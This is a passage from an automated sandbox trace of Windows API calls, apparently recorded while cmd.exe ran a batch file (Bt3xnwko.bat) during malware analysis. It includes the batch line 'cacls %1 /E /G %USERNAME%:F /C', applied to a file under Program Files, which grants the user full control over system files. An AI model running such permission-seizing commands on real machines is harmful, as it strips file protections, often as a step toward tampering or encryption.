lpValue="$P$G") returned 1 [0120.395] GetProcessHeap () returned 0x670000 [0120.395] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x684b48 | out: hHeap=0x670000) returned 1 [0120.395] GetEnvironmentStringsW () returned 0x684288* [0120.395] GetProcessHeap () returned 0x670000 [0120.395] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xae2) returned 0x686be8 [0120.395] FreeEnvironmentStringsW (penv=0x684288) returned 1 [0120.395] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.395] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0120.395] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0120.395] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0120.395] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0120.396] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0120.396] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0120.396] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0120.396] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0120.396] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0120.396] GetProcessHeap () returned 0x670000 [0120.396] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x54) returned 0x6876d8 [0120.396] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x26f7c8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0120.396] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x26f7c8, lpFilePart=0x26f7c4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f7c4*="Desktop") returned 0x25 [0120.396] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0120.396] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x26f544 | out: lpFindFileData=0x26f544*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd63c4ae0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xd63c4ae0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x683ef0 [0120.397] FindClose (in: hFindFile=0x683ef0 | out: hFindFile=0x683ef0) returned 1 [0120.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x26f544 | out: lpFindFileData=0x26f544*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcec4dac0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xcec4dac0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x683ef0 [0120.397] FindClose (in: hFindFile=0x683ef0 | out: hFindFile=0x683ef0) returned 1 [0120.397] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0120.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x26f544 | out: lpFindFileData=0x26f544*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc36f2ea0, ftLastAccessTime.dwHighDateTime=0x1d5d06a, ftLastWriteTime.dwLowDateTime=0xc36f2ea0, ftLastWriteTime.dwHighDateTime=0x1d5d06a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x683ef0 [0120.397] FindClose (in: hFindFile=0x683ef0 | out: hFindFile=0x683ef0) returned 1 [0120.397] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0120.397] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0120.397] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0120.398] GetProcessHeap () returned 0x670000 [0120.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686be8 | out: hHeap=0x670000) returned 1 [0120.398] GetEnvironmentStringsW () returned 0x6860f8* [0120.398] GetProcessHeap () returned 0x670000 [0120.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xb36) returned 0x687f38 [0120.398] FreeEnvironmentStringsW (penv=0x6860f8) returned 1 [0120.398] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0120.398] GetProcessHeap () returned 0x670000 [0120.398] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6876d8 | out: hHeap=0x670000) returned 1 [0120.398] GetProcessHeap () returned 0x670000 [0120.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400e) returned 0x688a78 [0120.398] GetProcessHeap () returned 0x670000 [0120.398] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xec) returned 0x684dc8 [0120.399] GetProcessHeap () returned 0x670000 [0120.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x68ca90 [0120.399] GetProcessHeap () returned 0x670000 [0120.399] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x690aa0 [0120.399] GetProcessHeap () returned 0x670000 [0120.399] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688a78 | out: hHeap=0x670000) returned 1 [0120.399] GetConsoleOutputCP () returned 0x1b5 [0120.400] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0120.400] GetUserDefaultLCID () returned 0x409 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab44950, cchData=8 | out: lpLCData=":") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x26f908, cchData=128 | out: lpLCData="0") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x26f908, cchData=128 | out: lpLCData="0") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x26f908, cchData=128 | out: lpLCData="1") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab44940, cchData=8 | out: lpLCData="/") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab44930, cchData=8 | out: lpLCData=".") returned 2 [0120.402] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab44920, cchData=8 | out: lpLCData=",") returned 2 [0120.402] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0120.404] GetProcessHeap () returned 0x670000 [0120.404] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20c) returned 0x684ec0 [0120.404] GetConsoleTitleW (in: lpConsoleTitle=0x684ec0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.404] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0120.404] GetProcAddress (hModule=0x76e10000, lpProcName="CopyFileExW") returned 0x76e43b92 [0120.405] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0120.405] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleInputExeNameW") returned 0x76e3a79d [0120.405] GetProcessHeap () returned 0x670000 [0120.405] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x688a78 [0120.405] GetProcessHeap () returned 0x670000 [0120.406] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688a78 | out: hHeap=0x670000) returned 1 [0120.407] _wcsicmp (_String1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"", _String2=")") returned -7 [0120.407] _wcsicmp (_String1="FOR", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0120.407] _wcsicmp (_String1="FOR/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 68 [0120.407] _wcsicmp (_String1="IF", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0120.407] _wcsicmp (_String1="IF/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 71 [0120.407] _wcsicmp (_String1="REM", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0120.407] _wcsicmp (_String1="REM/?", _String2="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"") returned 80 [0120.407] GetProcessHeap () returned 0x670000 [0120.407] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x58) returned 0x6850d8 [0120.407] GetProcessHeap () returned 0x670000 [0120.407] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x72) returned 0x680ee8 [0120.408] GetProcessHeap () returned 0x670000 [0120.408] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x7c) returned 0x685138 [0120.409] GetConsoleTitleW (in: lpConsoleTitle=0x26f600, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.409] GetFileAttributesW (lpFileName="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\"" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\\"c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat\"")) returned 0xffffffff [0120.410] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0120.410] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0120.410] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0120.410] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0120.410] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0120.410] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0120.410] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0120.410] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0120.410] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0120.410] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0120.410] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0120.410] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0120.410] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0120.410] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0120.410] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0120.410] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0120.410] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0120.410] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0120.410] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0120.410] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0120.410] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0120.410] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0120.410] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0120.410] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0120.410] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0120.410] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0120.410] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0120.410] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0120.410] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0120.410] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0120.410] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0120.410] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0120.410] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0120.410] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0120.411] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0120.411] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0120.411] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0120.411] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0120.411] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0120.411] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0120.411] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0120.411] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0120.411] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0120.411] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0120.411] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0120.411] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0120.411] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0120.411] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0120.411] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0120.411] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0120.411] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0120.411] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0120.411] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0120.411] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0120.411] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0120.411] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0120.411] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0120.411] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0120.411] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0120.411] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0120.411] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0120.411] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0120.411] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0120.411] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0120.411] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0120.412] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0120.412] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0120.412] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0120.412] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0120.412] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0120.412] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0120.412] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0120.412] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0120.412] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0120.412] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0120.412] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0120.412] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0120.412] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0120.412] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0120.412] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0120.412] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0120.412] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0120.412] GetProcessHeap () returned 0x670000 [0120.412] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x210) returned 0x6851c0 [0120.412] GetProcessHeap () returned 0x670000 [0120.412] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe6) returned 0x6853d8 [0120.414] _wcsnicmp (_String1="C:\\U", _String2="cmd ", _MaxCount=0x4) returned -51 [0120.414] GetProcessHeap () returned 0x670000 [0120.414] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x418) returned 0x6707f0 [0120.414] SetErrorMode (uMode=0x0) returned 0x0 [0120.414] SetErrorMode (uMode=0x1) returned 0x0 [0120.414] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.", nBufferLength=0x208, lpBuffer=0x6707f8, lpFilePart=0x26f120 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x26f120*="Desktop") returned 0x25 [0120.414] SetErrorMode (uMode=0x0) returned 0x1 [0120.414] GetProcessHeap () returned 0x670000 [0120.414] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6707f0, Size=0x6e) returned 0x6707f0 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6707f0) returned 0x6e [0120.415] NeedCurrentDirectoryForExePathW (ExeName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\.") returned 1 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x5a) returned 0x6854c8 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xa8) returned 0x685530 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x685530, Size=0x5a) returned 0x685530 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x685530) returned 0x5a [0120.415] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0120.415] GetProcessHeap () returned 0x670000 [0120.415] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xe0) returned 0x670868 [0120.453] GetProcessHeap () returned 0x670000 [0120.453] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x670868, Size=0x76) returned 0x670868 [0120.453] GetProcessHeap () returned 0x670000 [0120.453] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x670868) returned 0x76 [0120.453] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0120.454] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", fInfoLevelId=0x1, lpFindFileData=0x26eebc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x26eebc) returned 0x685598 [0120.454] GetProcessHeap () returned 0x670000 [0120.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x6855d8 [0120.454] FindClose (in: hFindFile=0x685598 | out: hFindFile=0x685598) returned 1 [0120.454] _wcsicmp (_String1=".bat", _String2=".CMD") returned -1 [0120.454] _wcsicmp (_String1=".bat", _String2=".BAT") returned 0 [0120.454] GetConsoleTitleW (in: lpConsoleTitle=0x26f394, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0120.454] GetProcessHeap () returned 0x670000 [0120.454] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x11c) returned 0x6708e8 [0120.454] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x754b0000 [0120.454] GetProcAddress (hModule=0x754b0000, lpProcName="SaferIdentifyLevel") returned 0x754d2102 [0120.455] IdentifyCodeAuthzLevelW () returned 0x1 [0120.462] GetProcAddress (hModule=0x754b0000, lpProcName="SaferComputeTokenFromLevel") returned 0x754d3352 [0120.462] ComputeAccessTokenFromCodeAuthzLevel () returned 0x1 [0120.462] GetProcAddress (hModule=0x754b0000, lpProcName="SaferCloseLevel") returned 0x754d3825 [0120.462] CloseCodeAuthzLevel () returned 0x1 [0120.462] SetErrorMode (uMode=0x0) returned 0x0 [0120.462] SetErrorMode (uMode=0x1) returned 0x0 [0120.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", nBufferLength=0x104, lpBuffer=0x6851c8, lpFilePart=0x26f280 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat", lpFilePart=0x26f280*="Bt3xnwko.bat") returned 0x32 [0120.463] SetErrorMode (uMode=0x0) returned 0x1 [0120.463] GetProcessHeap () returned 0x670000 [0120.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x72) returned 0x680f68 [0120.463] wcsspn (_String=" \"C:\\Program Files\\Windows Journal\\en-US\\Journal.exe.mui\"", _Control=" \x09") returned 0x1 [0120.463] GetProcessHeap () returned 0x670000 [0120.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x7a) returned 0x6711b8 [0120.463] GetProcessHeap () returned 0x670000 [0120.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xec) returned 0x6860f8 [0120.463] GetProcessHeap () returned 0x670000 [0120.463] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6860f8, Size=0x7c) returned 0x6860f8 [0120.463] GetProcessHeap () returned 0x670000 [0120.463] RtlSizeHeap (HeapHandle=0x670000, Flags=0x0, MemoryPointer=0x6860f8) returned 0x7c [0120.463] CmdBatNotification () returned 0x68522a [0120.463] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bt3xnwko.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x26f2c4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x78 [0120.465] _open_osfhandle (_OSFileHandle=0x78, _Flags=8) returned 3 [0120.465] _get_osfhandle (_FileHandle=3) returned 0x78 [0120.465] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.465] _get_osfhandle (_FileHandle=3) returned 0x78 [0120.465] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0120.465] ReadFile (in: hFile=0x78, lpBuffer=0x4ab46640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x26f2a8, lpOverlapped=0x0 | out: lpBuffer=0x4ab46640*, lpNumberOfBytesRead=0x26f2a8*=0xe2, lpOverlapped=0x0) returned 1 [0120.467] SetFilePointer (in: hFile=0x78, lDistanceToMove=32, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0120.467] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4ab46640, cbMultiByte=32, lpWideCharStr=0x4ab4c640, cchWideChar=8191 | out: lpWideCharStr="cacls %1 /E /G %USERNAME%:F /C\r\n") returned 32 [0120.468] _get_osfhandle (_FileHandle=3) returned 0x78 [0120.468] GetFileType (hFile=0x78) returned 0x1 [0120.468] _get_osfhandle (_FileHandle=3) returned 0x78 [0120.468] SetFilePointer (in: hFile=0x78, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x20 [0120.468] GetProcessHeap () returned 0x670000 [0120.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x400a) returned 0x688a78 [0120.468] GetProcessHeap () returned 0x670000 [0120.468] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x4008) returned 0x694ab0 [0120.469] GetProcessHeap () returned 0x670000 [0120.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x1a) returned 0x6877c8 [0120.469] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0120.469] GetProcessHeap () returned 0x670000 [0120.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6877c8 | out: hHeap=0x670000) returned 1 [0120.469] GetProcessHeap () returned 0x670000 [0120.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x694ab0 | out: hHeap=0x670000) returned 1 [0120.469] GetProcessHeap () returned 0x670000 [0120.469] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x688a78 | out: hHeap=0x670000) returned 1 [0120.469] _wcsicmp (_String1="cacls", _String2=")") returned 58 [0120.469] _wcsicmp (_String1="FOR", _String2="cacls") returned 3 [0120.469] _wcsicmp (_String1="FOR/?", _String2="cacls") returned 3 [0120.469] _wcsicmp (_String1="IF", _String2="cacls") returned 6 [0120.469] _wcsicmp (_String1="IF/?", _String2="cacls") returned 6 [0120.469] _wcsicmp (_String1="REM", _String2="cacls") returned 15 [0120.469] _wcsicmp (_String1="REM/?", _String2="cacls") returned 15 [0120.469] GetProcessHeap () returned 0x670000 [0120.469] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x58) returned 0x671240 [0120.469] GetProcessHeap () returned 0x670000 [0120.470] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x14) returned 0x6712a0 [0120.471] GetProcessHeap () returned 0x670000 [0120.471] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0xbc) returned 0x686180 [0120.472] _tell (_FileHandle=3) returned 32 [0120.472] _close (_FileHandle=3) returned 0 [0120.472] _vsnwprintf (in: _Buffer=0x4ab54640, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x26f07c | out: _Buffer="\r\n") returned 2 [0120.472] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.472] GetFileType (hFile=0x7) returned 0x2 [0120.473] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0120.473] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x26f03c | out: lpMode=0x26f03c) returned 1 [0120.473] _get_osfhandle (_FileHandle=1) returned 0x7 [0120.473] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x4ab54640*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x26f068, lpReserved=0x0 | out: lpBuffer=0x4ab54640*, lpNumberOfCharsWritten=0x26f068*=0x2) 